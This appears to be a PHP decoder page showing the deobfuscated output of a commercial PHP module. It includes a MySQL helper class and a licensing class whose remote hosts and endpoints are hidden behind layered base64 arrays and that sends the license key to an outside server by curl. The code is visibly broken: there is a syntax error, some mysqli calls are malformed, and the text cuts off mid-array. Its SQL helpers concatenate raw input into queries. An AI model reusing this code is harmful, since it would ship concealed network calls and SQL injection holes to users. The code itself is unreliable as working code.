Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class debug { public function starttimer() { $mtime = microtime(); $mt..
Decoded Output download
<?php
class debug
{
public function starttimer()
{
$mtime = microtime();
$mtime = explode(' ', $mtime);
$mtime = $mtime[1] + $mtime[0];
$starttime = $mtime;
return $starttime;
}
public function endtimer()
{
global $starttime;
$mtime = microtime();
$mtime = explode(' ', $mtime);
$mtime = $mtime[1] + $mtime[0];
$endtime = $mtime;
$totaltime = round($endtime - $this->starttimer(), 5);
return $totaltime;
}
}
class mysql
{
private $db = null;
private $query = null;
private $result = null;
private $row = null;
private $debug = null;
public function connect()
{
global $db_host;
global $db_port;
global $db_username;
global $db_password;
global $db_name;
$this->db = mysqli_connect($db_host, $db_username, $db_password);
if (!$this->db) {
$this->fatalerror();
return false;
}
else {
mysqli_select_db($this->db, $db_name);
}
if (!mysqli_select_db($this->db, $db_name)) {
$this->fatalerror();
return false;
}
return true;
}
public function execute($query)
{
$this->connect();
$this->query = $query;
$this->result = mysqli_query($this->db, $this->query);
}
public function get_row()
{
if ($this->row = mysqli_fetch_array($this->result, MYSQLI_NUM)) {
return $this->row;
}
else {
return false;
}
}
public function get_array()
{
if ($this->row = mysqli_fetch_array($this->result, MYSQLI_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_object()
{
if ($this->row = mysqli_fetch_object($this->result, MYSQLI_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_dataset()
{
$dataset = [];
for ($i = 0; $qry = mysqli_fetch_row($this->result); ++$i) {
$field = 0;
for ($field = 0; $field < mysqli_num_fields($this->result); ++$field) {
$dataset[$i][$field] = $qry[$field];
}
}
return $dataset;
}
public function get_datarray()
{
$datarray = [];
for ($i = 0; $data = mysqli_fetch_array($this->result); ++$i) {
$datarray[$i] = $data;
}
return $datarray;
}
public function get_fetch_row()
{
if ($this->row = mysqli_fetch_row($this->result, MYSQL_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_num_rows()
{
$this->num_rows = mysqli_num_rows($this->result);
return $this->num_rows;
}
public function close_connection()
{
mysqli_close($this->db);
}
public function get_mysql_id()
{
return mysqli_insert_id($this->db);
}
public function set_debug_mode($int = 0)
{
$this->obj['debug'] = (int) $int;
if ($this->obj['debug']) {
$this->obj['use_shutdown'] = 0;
}
}
public function fatalerror($the_error = '')
{
$the_error .= "
" . 'MySQL Server Error : ' . mysqli_error() . "
";
$the_error .= 'MySQL Server Error Code : ' . mysqli_errno() . "
";
$the_error .= 'Current Date : ' . date('l dS of F Y h:i:s A');
$out = "
" . '<html>' . "
" . '<head>' . "
" . '<title>Database Error' . "
" . '<style>P,BODY,blockquote{ font-family: \'courier new\',\'trebuchet ms\',tahoma,verdana; font-size:12px; }</style>' . "
" . '</head>' . "
" . '<body>' . "
" . '<br /><br />' . "
" . '<blockquote>' . "
" . '<b>There appears to be an error with the database.</b> | ' . "
" . 'You can try to refresh the page by clicking <a href="javascript:window.location=window.location;">here</a>.' . "
" . '<br /><br />' . "
" . '<b style="font-family:\'Courier New\'; font-size:16px; font-style:normal;">Error Returned</b>' . "
" . '<br />' . "
" . '<form name=\'mysql\'>' . "
" . '<textarea rows="10" cols="60" style="font-family:\'Courier New\' !important;font-size:12px;width:100%;">' . "
" . htmlspecialchars($the_error) . "
" . '</textarea>' . "
" . '</form>' . "
" . '<br />' . "
" . 'We apologise for any inconvenience | Please Contact <b><a href="mailto:[email protected]">The Programer</a></b>' . "
" . '</blockquote>' . "
" . '</body>' . "
" . '</html>';
echo $out;
exit('');
}
public function query($query, $contype = 'mysqli_query')
{
if ($this->obj['debug']) {
global $debug;
$debug->starttimer();
}
$this->queryid = $contype($query, $this->connection_id);
if ($this->obj['debug']) {
$endtime = $debug->endtimer();
if (preg_match('/^select/i', $query)) {
$eid = mysqli_query('EXPLAIN ' . $query . '', $this->connection_id);
while ($array = mysqli_fetch_array($eid)) {
echo "
" . '<h3>sql debug</h3>' . "
" . 'table: ' . $array['table'] . '<br />' . "
" . 'query: ' . $query . '<br />' . "
" . 'type: ' . $array['type'] . '<br />' . "
" . 'mysql time : ' . $endtime . '<br /><br />' . "
";
}
}
}
else {
++$this->querycount;
return $this->queryid;
}
}
public function Random($arr)
{
return $arr[array_rand($arr)];
}
public function sql_select_tbl($tbl, $where = '', $order = '', $limit = '')
{
if ($where != '') {
$rwhere = 'WHERE ' . $where;
}
else {
$rwhere = '';
}
if ($order != '') {
$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = 'ORDER BY ' . $order;
}
else {
$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = '';
}
if ($limit != '') {
$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = 'LIMIT ' . $limit;
}
else {
$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = '';
}
$this->execute('SELECT * FROM `' . $tbl . '` ' . $rwhere . ' ' . $obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE . ' ' . $obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE . '');
$qry = $this->obf_4uihoiRj6abtLOhqsCUlJ8roW0jIE();
return $qry;
}
public function sql_update_tbl($db, $rl = '', $wh = '')
{
if ($rl != '') {
$rule = 'SET ' . $rl;
}
else {
$rule = '';
}
if ($wh != '') {
$where = 'WHERE ' . $wh;
}
else {
$where = '';
}
$this->execute('UPDATE `' . $db . '` ' . $rule . ' ' . $where . '');
}
public function sql_insert_tbl($db, $rl = '', $vl = '')
{
$this->execute('INSERT INTO `' . $db . '` ' . $rl . ' ' . $vl . '');
return $this-> ();
}
}
class obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE
{
public function CyberNetWeb()
{
global $MySQL;
$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESldLRXhYSkhZbU0xSndLbTBtZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkptMVdlbHBYZUhOYVdFbDBYa2M1ZWtCSGJIVmFlVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrZFdhMTVYVGlSQVIxWnJURmhPYkNadVdtd21LREYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSjRka0JYVVhSQWJrSjZURmN4TVNadFJtOU1kejA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqTk9jMHhYVG13bWJsSndXbTFzS1ZsWVVtd21lVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrYzVkRmxYYkhWTVZ6VWtLbGRWZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3eU1YWmFTRlp6V2xNeGJsbFlTbXRhVnpSMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOHFWMDU2VEZjeGRscElWbk5hVXpnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOVpXRko2V1ZoQ2QweFhNWFphU0ZaeldsTTRQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldWZEtka0JZVVhSWk0yd29XbGhLZFZwWVVYUmVXRkYwSmpJNWMwQllVbkFxTWpWNlRIYzlQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFFZFdlU3BUTVhaYUtERjZXbGhLTWw1WFRtd21lVGc5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqSldlVUJ0YkNsYVV6RnpXbGhhYkNwRE1TUmFNMHBzV2xjeGJDcHVVWFk9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldtNUtiQ1pZVm13cWJsSnpJMU14SkNZeWRHeGFRekY0UUZkV2VrQkhiSFlxYmsxMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpraEtjRUJ0UmlralV6RjNLako0Y0ZremEzWT0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSTVkVUJIUmlsQVF6RXhKbms0UFE9PSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRREpXS0V4WEpIWW1NMUp3S20wbVBRPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKbTFXZWxwWGVITmFXRWwwWGtjNWVrQkhiSFZhZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKak5PYzB4WFRtd21ibEp3V20xc0tWbFlVbXdtZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJLbGM1YTBCWGVHeE1WMEFrSm0xU2JDb2xQVDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRRElrZEZrelRYUXFWemxyUUZkNGJBPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkbDR5TlhaQU1uaHNXa2RBYkZsdFJucGFVVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGwwS2pKU01TcEhWWFJhTWtaNVdrZFdkVXgzUFQwPSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGt6WGtjeEtTWjVNWFFxTWxJeEtrZFZkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd5VG5ZcWJsSjVLakozZENaSFJuVmFWM2QyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGlwWE9XdEFWM2hzVEZkQUpDWnRVbXdxS0RnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGtBeUpIUlpNMDEwS2xjNWEwQlhlR3hNZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprcEtqSTFNQ1p0T1hOTVdFSWtLbTFXYzB4M1BUMD0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbHBIT1hSWlYyeDFURmMxSkNwWFZubz0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVNFcDJLa014ZDFsWE5Xd3FRVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkaXBYT1d0QVYzaHNKbmt4YmxsWVNtdGFWelE5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVIwWXBRRU14TVNaM1BUMD0i'];
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function VarFrom()
{
return ['f', 'c', 'b', 'i', 'd', 'e', 'h', 'g', 'a', 'j'];
}
public function VarTo()
{
return ['!', '&', '*', '(', '@', '#', '$', '%', '^', ')'];
}
public function UrlBaseAuth()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IldWaFdNRjVIT1hsZVdIQnNUSGM5UFE9PSI=', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function CurlPostData($url_server = '', $license_key = '')
{
$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_75s42Xr7GsiJKijJytkpGinrWqrLE();
$ch = curl_init($url);
$data = ['license_key' => '' . $license_key . ''];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
return $result;
curl_close($ch);
}
public function CurlPostDataSecret($url_server = '', $module = '', $version = '')
{
$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_56ynLebmpWirZ6KoYm1uqqrh8CvrIE();
$ch = curl_init($url);
$data = ['module' => '' . $module . '', 'version' => '' . $version . ''];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
return $result;
curl_close($ch);
}
public function Usr_Dec($data_decoded, $from = '', $to = '')
{
return base64_decode(str_replace($to, $from, base64_decode(json_decode(base64_decode($data_decoded), true))));
}
public function LicenseKey()
{
$modulename = $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE();
$file = $this->getdirectory() . '/license.php';
$fileRename = $this->getdirectory() . '/license_RENAME.php';
if (!file_exists($file) && file_exists($fileRename)) {
exit($modulename . ': Unable to find ' . $file . ' file. Please rename file license_RENAME.php to license.php');
}
if (!file_exists($file)) {
exit('Unable to find ' . $file . ' file.');
}
$keyName = $modulename . '_licensekey';
$content = file_get_contents($file);
$matches = [];
preg_match('/' . $keyName . '\s?=\s?\"([A-Za-z0-9_]+)\"/', $content, $matches);
$key = $matches[1];
if (!$key) {
exit('Invalid License Content');
}
return $key;
}
public function GetProtocol()
{
$url = 'https://license.co.id/authorize/protocol';
$ch = curl_init($url);
$data = ['remote' => '1'];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$hasil = json_decode($result);
if (trim($hasil) == '1') {
$data = 'https://';
}
else {
$data = 'http://';
}
return $data;
}
public function RemoteHost()
{
global $MySQL;
$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlFETkFNMHh0ZUhCWk1sWjFKakpWZFZreU9IVmVWMUYyIg==', 'IktrZHNLVnBYTlhwYVV6VXBLbmsxY0ZwRE9EMD0i', 'IkpqSldlVUJ0Vm5sTVYwWXhKbTFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tJMjFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwWTJKbTFHYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tKa2NrSkZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwQWtXVzVLY0ZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6RnNKbTFPTVNadWEzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGcHNLbTVXZWt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYxWWtKbTVTYjB4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVZ6RWtKbTVOZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVYzQXhKa2RzTUZwWVNYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFNGtRRWhXZVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGWjVXVmMxTVNaNU5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6VnNKa2hTTVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFSnpRRmhTZGt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYwWnpXa2hLY0ZreUpYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFcHZXbGRGZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVdFSWtLbTV3YkNZb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 